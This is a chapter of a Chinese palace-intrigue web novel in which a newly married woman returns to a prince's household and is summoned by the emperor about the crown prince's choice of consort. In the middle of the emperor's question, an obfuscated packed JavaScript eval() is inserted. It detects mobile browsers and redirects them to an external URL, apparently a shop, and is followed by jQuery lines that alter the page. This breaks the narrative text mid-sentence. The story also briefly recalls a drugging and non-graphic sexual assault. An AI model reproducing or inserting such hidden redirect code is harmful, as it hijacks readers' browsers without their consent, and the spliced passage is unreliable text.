说是回门,实则裴浪一行人在裴府住了六七日之久。期间也无人催她回去,一来本是因为病了才耽误回门的日子,二来是此番成亲太过仓促,又久未下山,便是在娘家住久些王府也不会说什么。
倒是明嘉实从那日走后便没再回来,这事叫王爷王妃知晓后,世子遭了好一顿骂。只是夫妇俩见裴府并不声张,倒也睁一只眼闭一只眼罢。
裴浪回幽阳王府那日是明嘉实亲自来接,又正正好是十月的头一天,刮着冷风,脸都是僵的,连呼出的白气都清晰可见。
“天冷,夫人早些回去吧。”天太早,又冷,裴断行只嘱咐几句便了,弟弟妹妹原先也闹着要送她,被她给拦下,最后只有顾歆一路送到大门前。
“我穿了厚衣裳,不怕冷。倒是你从小身子空了,要多多留心才是。”顾歆接过身边人手里的小巧食盒,转头给了裴浪身边的夏蜓,闻言夏溪更是上心,还上前给裴浪整理裹在身上的青灰色大氅,还是毛领的,是顾歆早早趁着冷天还没到时就为其备下的。
要说有真心心疼裴浪的人,顾夫人定然算一个的,夏溪心想。
听着关切之语,裴浪心中唯有感激。只是这谢言说多了,她也有些羞愧,这会也就不说了,只抿唇笑着。
“这食盒中都是你从前爱吃的点心,许久不做,也不知还是不是那个味道。”顾歆垂眸含羞一笑,眼角藏着细纹,却也不难看出她保养得当,至少在这个家里过得好。
被人挂念总归是件幸事,在这寒风阵阵的早晨,裴浪忍不住热了眼眶,下意识垂眸,连鼻尖都透着酸。
谢谢二字如何也说不出口,只攥紧了大氅的一角。
“渌华说得对,外边天冷,岳母还是早些回去吧。”明嘉实凑上前来插话,许是着急赶回去,脸上的不耐也没有藏起来,只有在看向身为长辈的顾歆时才露出笑容来。
他来到裴浪身旁,一手揽过她的肩。裴浪顿了顿,随后收回方才那股酸涩且难以开口的谢意,抬头侧脸朝身旁高大的身影扯出一个笑。明嘉实也微微低头,回之一个略显敷衍虚伪的笑。
两人一同看向顾歆,裴浪先开口:“夫人,我与世子回去了。”
明嘉实紧接着道:“岳母且放心,女婿定然会照顾好渌华,绝不让她受半点委屈。”
说这话时,裴浪不经意瞥他一眼,心里只觉好笑。
待两人一前一后上了王府的马车离去后,顾歆才扭头往回走,边走边叹气:“我这眼皮子总跳,也不知是好事还是坏事。浪儿这孩子自幼便让人心疼,可我总觉得哪里怪怪的。”
一旁跟着的老婆子连忙道:“这定是好事,大姑娘这门亲事乃是圣上所赐,瞧方才世子那着急的模样,想是心疼咱们姑娘呢。夫人您就别担心了。”
“便希望是好事罢……”
逐渐远去的马车上,男女各坐一侧,互不相视。车轮碾过碎小石子而产生的微小颠簸,也只让两人眨了眨眼,气氛冰冷到极点。只是这一幕,外面的人是瞧不见的,他们只会在脑中幻想着世子与世子妃有多么恩爱,从而也想嫁一个或是娶一个这般的人。
听到外头的叫卖声,裴浪的手从大氅底下伸出来掀开一点车帘,从狭小的缝隙往外看。小贩手持一个比自己还高的草把子,草把子上插满了晶莹亮红的的糖葫芦,糖壳泛着光,很是诱人。
她望着渐渐远去的糖葫芦,双眼又眨了眨。
正好此时那小贩再次叫嚷起来,连另一侧的明嘉实都忍不住扭头往她这边看。外面的风呼呼敲打在帘子上,没多久裴浪就把车帘放下,把手收回来坐好,谁知余光却看见了明嘉实望着自己。
“外头的东西少吃,免得失了身份。”对视片刻后,明嘉实收回目光。
若是之前在府中,裴浪定要呛他几句,只是现下不想同此人费心力。
对面的人似乎也并不在意裴浪是否搭理自己,又接着道:“来接你并非我本意,是母亲让我来的,说是宫里来人,皇后要请亲王朝臣府中的年轻女眷一同进宫。这眼瞧着是女眷相聚,但私下都知晓,皇后娘娘这是要为太子殿下选太子妃。你去了可别乱说话,否则丢的可是我们王府的脸面。”
裴浪闻言无声轻嗤,这还是她与此人成亲以来头一回听到他对自己说这么多话呢。
见裴浪不语,过了一会儿又道:“你瞧见我不高兴,我还不乐意见你呢。”说完就彻底转过身去。
最后马车稳稳当当回到王府,下了车进门就有一堆下人凑上来。这些人一分为二,一半是王妃派人来候着她的,一半是何锦儿让人来守着明嘉实的。两人一进门就被下人们分别带去了嘉宁院和淑元阁。
脚步加快的同时,裴浪还依稀听见将明嘉实带走的侍女说着何锦儿给他做了什么好吃的。
“那架势,不知情的怕是觉着世子爷在咱们这饿惨了。”夏溪小声嘟囔着。
一行人到了嘉宁院,高素娴来不及同她讲什么礼数,直叫屋里的侍女把新裁的新衣给裴浪穿上。侍女们给其穿衣时,她也闲不下来,在一旁吩咐许多。
“宫里人来得突然,此时也来不及同你说太多。你只记得,如今的皇后娘娘原是太子生母的亲妹妹,前皇后逝去,为了弥补就立其为继后。当今的皇后难以生育,膝下也就前皇后亲生的两个孩子,一个是太子,一个是备受宠爱的三公主。”
“今日邀尔等女眷相聚,必是为了还未成婚的太子。你已是人妇,此前在京都又颇受非议,无论如何都要谨言慎行。若是皇后问你哪家女子好,你且说你对京都女子了解甚少。能糊弄过去最好,实在躲不过,你大可说梅相家中的女儿,皇后虽未表态,但我们都看得出她十分看好这位梅姑娘。”
“……”
一番话说下来都是在提醒她进宫该如何行事才能不出错。裴浪被伺候着穿好新衣,高素娴才停下来看她穿上新衣的模样,点头夸赞着,瞧着十分满意。
这也是裴浪头一回瞧见王妃露出有些许慌张的作态,想来这宫里的人并不好对付。只是她听完后只道会记住,丝毫没有慌张的模样,王妃倒觉得她是被吓懵了。
毕竟是常年在山间静修的人,这些弯弯绕绕的自是没见过多少。
此后裴浪出门之际还碰上穿着官服的明见琛,他瞧见她的第一眼有些呆愣,随后又迅速低头,恭敬行礼,连那句兄嫂都喊得甚是小声。
反之裴浪一副没事人的模样,应了一声便坐上进宫的马车,两人一前一后进宫。
明见琛此番进宫,是因着今日上朝比往常延迟一个时辰,如此以来倒不必着急。他到宫门时,裴浪的马车早早就进去了,而他的兄长还没到。
未到时辰,他站在原地发起呆来。方才见裴浪第一眼的惊慌如今才被冷风消散些许,可胸膛仍然止不住急促起伏着。
那晚他在书房晕过去后,最后是被来寻自己的陆津唤醒的。
只记得很是头晕,而自己的衣裳凌乱,活生生像是被人欺负了。发烫的肌肤也让他想起自己是被人下药,逐渐浑身的知觉恢复过来,下边儿冰凉粘腻的触感十分明显。他愣怔片刻,便什么都想起来了,就连自己难耐|喘|泣的声音都仿佛在耳边响起。
那声音很清晰,甚至越来越大。
那一刻,他恨不得砸晕自己好一股脑全忘了才好。
思及此,明见琛心绪仍是难以平复。她怎么能……怎么能对自己做这种事情呢?看她方才的反应,好似什么也没发生过一样,竟一点羞愧都没在她脸上看见。
明见琛思来想去也想不出一个能说服自己的答案,只好努力忘却那晚发生的事情。
今日的金銮殿与平日里无甚不同,只是在快要退朝时,安眴帝问了裴将军一个问题。
“裴卿,对我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058215|194926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赐下的这桩婚事可满意?”安眴帝的声音有力,却不可避免地透着沧桑。
裴断行出列,嘴角上扬:“陛下所赐,定是满意的。”
“那仿隐呢,可满意这个儿媳妇?”安眴帝又问。
“裴兄教出来的女儿,自是好的,臣满意至极。”明仿隐答得圆滑。
安眴帝闻言高兴笑了两声,不说话了。
“是么?”裴断行此时看向明仿隐,又问:“我这几日有些忙,在家中待的不久。可我却听府里人说我这女婿回门时还有心思去想旁的人?”
“不过下人说的话,多半不知真假,若是传错了消息,我定然回去狠狠罚。”
裴断行可谓是说得委婉,没有将明嘉实回门当日便离去不再返回一事说出来。此婚事本就是一纸圣旨所定,两家哪里敢有怨言。否则光是明嘉实未娶正妻便纳妾一事,他裴断行也断然不会将女儿嫁他,即便对方是自己从小看到大的晚辈也不行。
此言一出,许多人都望向明仿隐,连明甚和明甚身旁的明见琛也看了过去。唯有明嘉实像是被戳中了要处般低下头去。
明仿隐闻言也不怒,对着裴断行尚有一丝笑意:“哦?竟有此事?不怕裴将军笑话,本王虽在家中,可犬子已然成婚,许是孩子间闹了别扭也未可知啊。”
转头他就皱眉怒视明嘉实,低声喝道:“你这竖子!且问你当真有此事?”
不等明嘉实说话,幽阳王便当着诸位大臣的面教训起自己的儿子,旁人见状倒也不好说什么。
只是瞧此场面,明见琛内心竟为这位兄嫂感到悲哀起来,她在这个家中竟也不好过。想起前段时日自己还拒绝了她的好意,心里复杂起来。
心里想着人和事,明见琛一时之间也没注意到一旁明甚的怪异神情。
直到退朝,安眴帝将太子留下来。明见琛往外走的时候还想着,既然她在府中当真不易,那自己是否不该再拒绝她的好意?连母亲都夸赞的人,想来应当也不是什么表里不一的人……
金銮殿只剩下安眴帝,太子和李常盛。明甚的脸上还有着些许怒意,安眴帝只当没有瞧见,侧目递给李常盛一个眼神,后者忙对外喊:“进——”
闻言明甚收起面上的情绪,抬头望去,目光一愣,却很快收敛。
裴浪还穿着进宫时的那件海棠红织锦缎宫装,双肩与腰处都绣着隐隐闪光的金丝线,外面盖着一层薄纱更显温润光泽。
头上的点翠金钗也随着她前进的步伐摇曳生辉,裴浪垂眸朝面前的两位行礼:“臣妇见过陛下、殿下。”
“起来吧。”安眴帝发话。
“我私下召你,你知晓我要问什么。”
“回陛下,王爷之事已有些许眉目,想来不日便能结果。”裴浪不卑不亢,沉着应答。
她的冷静在这大殿之上有些稀罕,只是其余三人却无任何惊诧。若说有异样,便是太子有些许心不在焉罢。
“好。我听闻皇后今日邀你们女眷进宫,可是为何事?”安眴帝又问。
皇后聚女眷一事整个京都都知晓,可即便知道御座是明知故问,她们做臣子的也只能如实回答。
“回陛下,皇后娘娘召集我等女眷进宫,是为太子谋选太子妃一事。”裴浪不言一字废话,这模样让安眴帝点了点头。
“那依你来看,可有建议的人选?”
裴浪一顿,立马回道:“臣妇看人的眼光一向不好。只是,若非要选出一人……臣妇觉得梅姑娘甚好。”
安眴帝闻言笑了两声,看向旁边的李常盛,拍了拍大腿,又忍不住伸手指向裴浪,欣慰般笑道:“裴老弟的女儿啊,谦虚了谦虚了……”
裴浪闻言不语,垂眸立正身子。
只有边上站着的明甚,自打说到自己身上后,便看向她的方向,几番挣扎着欲言又止,挣扎无果便一直沉默着。